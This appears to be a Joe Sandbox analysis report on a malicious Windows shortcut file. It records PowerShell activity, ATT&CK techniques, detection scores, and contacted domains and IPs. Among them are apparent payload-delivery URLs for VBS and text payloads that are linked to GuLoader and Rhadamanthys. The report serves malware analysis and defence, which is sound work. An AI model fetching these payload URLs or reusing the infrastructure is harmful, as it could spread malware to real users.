Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Command and Scripting Interpreter	1 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	21 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
yswmdaREME.lnk	44%	Virustotal		Browse
yswmdaREME.lnk	32%	ReversingLabs	Shortcut.Trojan.FakeupdateLNK
yswmdaREME.lnk	100%	Avira	LNK/Dldr.Agent.VPUF
yswmdaREME.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://www.astenterprises.com.pk/ms/List%20of%20required%20items%20and%20services.pdf	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk/ms/List%20of%20required%20items%20and%20services.pdf8	0%	Avira URL Cloud	safe
http://www.astenterprises.com.pk	0%	Avira URL Cloud	safe
http://astenterprises.com.pk	0%	Avira URL Cloud	safe
http://www.blum25maxxlasm25r.com/ms/ms.vbs	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com/ms/ms.vbs	0%	Avira URL Cloud	safe
http://www.al-rasikh.com	0%	Avira URL Cloud	safe
https://www.al-rasikh.com	0%	Avira URL Cloud	safe
http://al-rasikh.com	0%	Avira URL Cloud	safe
https://www.al-rasikh.com/ms/neatez.txts	0%	Avira URL Cloud	safe
https://www.al-rasikh.com/ms/neatez.txt-UseBasicParsing	0%	Avira URL Cloud	safe
https://www.astenterprises.com.pk	0%	Avira URL Cloud	safe
http://www.bluemaxxlaser.com	0%	Avira URL Cloud	safe
https://www.al-rasikh.com/ms/nea	0%	Avira URL Cloud	safe
http://www.blum25maxxlasm25r.com/ms/ms.	0%	Avira URL Cloud	safe
https://www.astm25ntm25rprism25s.com.pk/ms/List%20of%20rm25quirm25d%20itm25ms%20and%20sm25rvicm25s.p	0%	Avira URL Cloud	safe
http://www.blum25maxxlasm25r.com/ms/ms.vbsX	0%	Avira URL Cloud	safe
https://www.al-rasikh.com/ms/neatez.txt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
astenterprises.com.pk	107.161.23.150	true	false	unknown
www.bluemaxxlaser.com	203.175.174.69	true	false	unknown
al-rasikh.com	107.161.23.150	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high
www.al-rasikh.com	unknown	unknown	true	unknown
www.astenterprises.com.pk	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.bluemaxxlaser.com/ms/ms.vbs	false	Avira URL Cloud: safe	unknown
https://www.astenterprises.com.pk/ms/List%20of%20required%20items%20and%20services.pdf	false	Avira URL Cloud: safe	unknown
https://www.al-rasikh.com/ms/neatez.txt	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1575883475.000001D947C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://www.astenterprises.com.pk/ms/List%20of%20required%20items%20and%20services.pdf8	powershell.exe, 00000002.00000002.1517599420.000001D939A00000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1517599420.000001D937E23000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1517599420.000001D937E23000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000002.00000002.1517599420.000001D938B41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.blum25maxxlasm25r.com/ms/ms.vbs	powershell.exe, 00000002.00000002.1517599420.000001D93931E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.al-rasikh.com	powershell.exe, 00000002.00000002.1517599420.000001D93929C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://al-rasikh.com	powershell.exe, 00000002.00000002.1517599420.000001D93929C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000008.00000003.1468050778.00000189C9680000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2561704881.00000189C9800000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.al-rasikh.com	powershell.exe, 00000002.00000002.1517599420.000001D938B41000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.al-rasikh.com/ms/neatez.txts	powershell.exe, 00000002.00000002.1490339016.000001D935C09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1517599420.000001D937E23000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.astenterprises.com.pk	powershell.exe, 00000002.00000002.1517599420.000001D939B4F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.adobe.co	ReaderMessages.6.dr	false		high
http://astenterprises.com.pk	powershell.exe, 00000002.00000002.1517599420.000001D939B4F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.8.dr	false		high
https://www.astenterprises.com.pk	powershell.exe, 00000002.00000002.1517599420.000001D939A00000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.al-rasikh.com/ms/neatez.txt-UseBasicParsing	powershell.exe, 00000002.00000002.1490339016.000001D935C09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.astm25ntm25rprism25s.com.pk/ms/List%20of%20rm25quirm25d%20itm25ms%20and%20sm25rvicm25s.p	powershell.exe, 00000002.00000002.1517599420.000001D939A00000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bluemaxxlaser.com	powershell.exe, 00000002.00000002.1517599420.000001D939BD6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1575883475.000001D947C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.al-rasikh.com/ms/nea	powershell.exe, 00000002.00000002.1517599420.000001D937E23000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.blum25maxxlasm25r.com/ms/ms.vbsX	powershell.exe, 00000002.00000002.1517599420.000001D93931E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.blum25maxxlasm25r.com/ms/ms.	powershell.exe, 00000002.00000002.1517599420.000001D93931E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1517599420.000001D937BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1400695187.00000106BD8CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1400695187.00000106BD895000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1517599420.000001D937BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1400695187.00000106BD895000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
203.175.174.69	www.bluemaxxlaser.com	Singapore		24482	SGGS-AS-APSGGSSG	false
107.161.23.150	astenterprises.com.pk	United States		3842	RAMNODEUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578188
Start date and time:	2024-12-19 11:55:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	yswmdaREME.lnk renamed because original name is a hash value
Original Sample Name:	b3c1839f1918791bf0b32f8df7588e31d64636bd70b2d289aea42782db4bcf36.lnk
Detection:	MAL
Classification:	mal100.evad.winLNK@20/57@6/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 10 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .lnk

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.137, 172.64.41.3, 162.159.61.3, 199.232.214.172, 23.218.208.109, 34.237.241.83, 18.213.11.84, 50.16.47.176, 54.224.241.105, 23.195.61.56, 23.32.239.56, 2.19.198.27, 23.32.239.65, 23.32.239.9, 23.32.239.34, 2.19.198.32, 13.107.246.63, 52.149.20.212, 52.6.155.20, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Execution Graph export aborted for target powershell.exe, PID 1020 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3232 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:56:17	API Interceptor	43x Sleep call for process: powershell.exe modified
05:56:27	API Interceptor	2x Sleep call for process: svchost.exe modified
07:02:03	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
203.175.174.69	64Tgzu2FKh.exe	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	bluemaxxlaser.com/rh/rheu.bin
	zp.exe	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	bluemaxxlaser.com/rh/rh.bin
	eua.ps1	Get hash	malicious	GuLoader	Browse	www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
	zp.ps1	Get hash	malicious	Unknown	Browse	www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
	zk.ps1	Get hash	malicious	Unknown	Browse	www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
	mx.ps1	Get hash	malicious	Unknown	Browse	www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
	zpeu.exe	Get hash	malicious	GuLoader	Browse	bluemaxxlaser.com/rh/rheu.bin
	as.ps1	Get hash	malicious	GuLoader	Browse	www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
107.161.23.150	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse
	xw0K5Lahxz.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.bluemaxxlaser.com	eua.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69
	zp.ps1	Get hash	malicious	Unknown	Browse	203.175.174.69
	zk.ps1	Get hash	malicious	Unknown	Browse	203.175.174.69
	mx.ps1	Get hash	malicious	Unknown	Browse	203.175.174.69
	as.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69
bg.microsoft.map.fastly.net	Dix7g8PK1e.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	CROC000400 .pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	contract_signed.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	T.T_Copy.12.18.2024.exe	Get hash	malicious	ArrowRAT	Browse	199.232.214.172
	22054200882739718047.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Sh2uIqqKqc.exe	Get hash	malicious	Cryptbot	Browse	199.232.214.172
	alyemenione.lnk	Get hash	malicious	Havoc, Quasar	Browse	199.232.214.172
	R8CAg00Db8.lnk	Get hash	malicious	Unknown	Browse	199.232.214.172
	A file has been sent to you via DROPBOX.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	PyIsvSahWy.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RAMNODEUS	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	107.161.23.150
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	107.161.23.150
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	107.161.23.150
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	107.161.23.150
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	107.161.23.150
	owari.x86.elf	Get hash	malicious	Unknown	Browse	168.235.88.56
	owari.ppc.elf	Get hash	malicious	Unknown	Browse	168.235.65.115
	i486.elf	Get hash	malicious	Mirai	Browse	168.235.88.39
	na.elf	Get hash	malicious	Unknown	Browse	107.161.24.95
	na.elf	Get hash	malicious	Unknown	Browse	107.161.24.95
SGGS-AS-APSGGSSG	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	103.14.247.60
	na.elf	Get hash	malicious	Gafgyt	Browse	103.14.247.29
	na.elf	Get hash	malicious	Gafgyt	Browse	103.14.247.60
	jZ6ejWIrSV.elf	Get hash	malicious	Gafgyt, Mirai	Browse	103.14.247.64
	IGvLaRmr0J.elf	Get hash	malicious	Gafgyt, Mirai	Browse	103.14.247.58
	wget.elf	Get hash	malicious	Gafgyt	Browse	103.14.247.62
	4v7myD9mN2OaWZp.exe	Get hash	malicious	AgentTesla	Browse	203.175.171.5
	rNNA.exe	Get hash	malicious	AgentTesla	Browse	203.175.171.5
	wg2vKIF0SU.elf	Get hash	malicious	Gafgyt	Browse	103.14.247.45
	LF6B2XTwcV.elf	Get hash	malicious	Gafgyt, Mirai	Browse	103.14.247.32

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	t5lpvahkgypd7wy.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	107.161.23.150
	RFQ Letter and Instructions.pdf	Get hash	malicious	Unknown	Browse	107.161.23.150
	File di reclamo per violazione del copyright File di reclamo per violazione del copyright.lnk.d.lnk	Get hash	malicious	Unknown	Browse	107.161.23.150
	File di reclamo per violazione del copyright File di reclamo per violazione del copyright.lnk.d.lnk	Get hash	malicious	Unknown	Browse	107.161.23.150
	DHL_231437894819.bat.exe	Get hash	malicious	AgentTesla	Browse	107.161.23.150
	4089137200.exe	Get hash	malicious	AgentTesla	Browse	107.161.23.150
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	107.161.23.150
	Dix7g8PK1e.pdf	Get hash	malicious	Unknown	Browse	107.161.23.150
	Corporate_Code_of_Ethics_and_Business_Conduct_Policy_2024.pdf.lnk.d.lnk	Get hash	malicious	RHADAMANTHYS	Browse	107.161.23.150
	main1.bat	Get hash	malicious	Abobus Obfuscator	Browse	107.161.23.150

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067143645934089
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq2:2JIB/wUKUKQncEmYRTwh06
MD5:	6C72F0FD31839F644ED3C0123448CC86
SHA1:	BFA66955A142F0542BBFC7A0C990463FDC45824D
SHA-256:	95E38D0EF1D3A866AB2E83632F9602218E048AC9A0442A73BE45A61C3240BD7D
SHA-512:	60540F8C7B076C4D45FF02570F62111850E8F272F85BE0DE55FAEC5F922E3B9B559768C8926FCDCEBB4DAC697036EEDB7384BCD2FED9D06FF31D3E1F961FECC8
Malicious:	false
Reputation:	low
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5865989c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900022351011771
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	A04279B1F593213A2CD3416C0526992E
SHA1:	F29AA93F1A03888DCBE5FB77C4F36EA2708D0956
SHA-256:	F0E4FA78847931892B6DD9B44777C78E8B5E131D47B70C5D8B75C9CDE287707D
SHA-512:	AF198946D2686362B716951C548575B69D52DD1B7157DD8F43D2F8CB614F78065DE1C193823CD74E37E08982DEE1B2DB52621E737AEF2D5CD3E2A8D50001AEDE
Malicious:	false
Reputation:	low
Preview:	Xe..... ...............X\...;...{......................0.`.....42...{5..8...\|g.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................D...8...\|..................2>...8...\|...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08180816925459529
Encrypted:	false
SSDEEP:	3:JlEYeJKgGqt/57Dek3JPGalallEqW3l/TjzzQ/t:YzJKgHR3tHAmd8/
MD5:	3CE8C35C3A231A5691CA2F8C06795274
SHA1:	1905DDA05A8D0FE4ABC24D1E29985532504AE3FC
SHA-256:	9DC6599060A946828962B6ECFC404D2C4136F4CCD1CB615124CE0E56B3866DB1
SHA-512:	153A0CD957A6B29F9C8182C123608FDDDC4EB2D6C490A09199B4E11D59949883CB41BB287E4496E04FFD4545961BF3CC533EC6006ADB250246E2CF77C40D4133
Malicious:	false
Preview:	X.!l.....................................;...{...8...\|..42...{5.........42...{5.42...{5...Y.42...{59................2>...8...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.263637231882939
Encrypted:	false
SSDEEP:	6:7WGa0+q2PcNwi2nKuAl9OmbnIFUt8OWGaMPJZmw+OWGaMP9VkwOcNwi2nKuAl9Oe:7WGa0+vLZHAahFUt8OWGaMPJ/+OWGaMX
MD5:	352DC49299C6D54EC68145152FC26A0F
SHA1:	2DD947420A360F63472C8CE0ECC044EA68145CAB
SHA-256:	477C27CB432EBBCAA5DC3DFFC176A58BBF88CCA6CA74493B14F021550FA7399B
SHA-512:	532A776359C26DC098D7919F8F7A78831215F4B9ED4FC8F310E0CC2B88071AD961E686228D075384A3DD9076E4395F85551029DEB2A49C660E58977C23CE479C
Malicious:	false
Preview:	2024/12/19-05:56:27.242 77c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/19-05:56:27.244 77c Recovering log #3.2024/12/19-05:56:27.244 77c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.263637231882939
Encrypted:	false
SSDEEP:	6:7WGa0+q2PcNwi2nKuAl9OmbnIFUt8OWGaMPJZmw+OWGaMP9VkwOcNwi2nKuAl9Oe:7WGa0+vLZHAahFUt8OWGaMPJ/+OWGaMX
MD5:	352DC49299C6D54EC68145152FC26A0F
SHA1:	2DD947420A360F63472C8CE0ECC044EA68145CAB
SHA-256:	477C27CB432EBBCAA5DC3DFFC176A58BBF88CCA6CA74493B14F021550FA7399B
SHA-512:	532A776359C26DC098D7919F8F7A78831215F4B9ED4FC8F310E0CC2B88071AD961E686228D075384A3DD9076E4395F85551029DEB2A49C660E58977C23CE479C
Malicious:	false
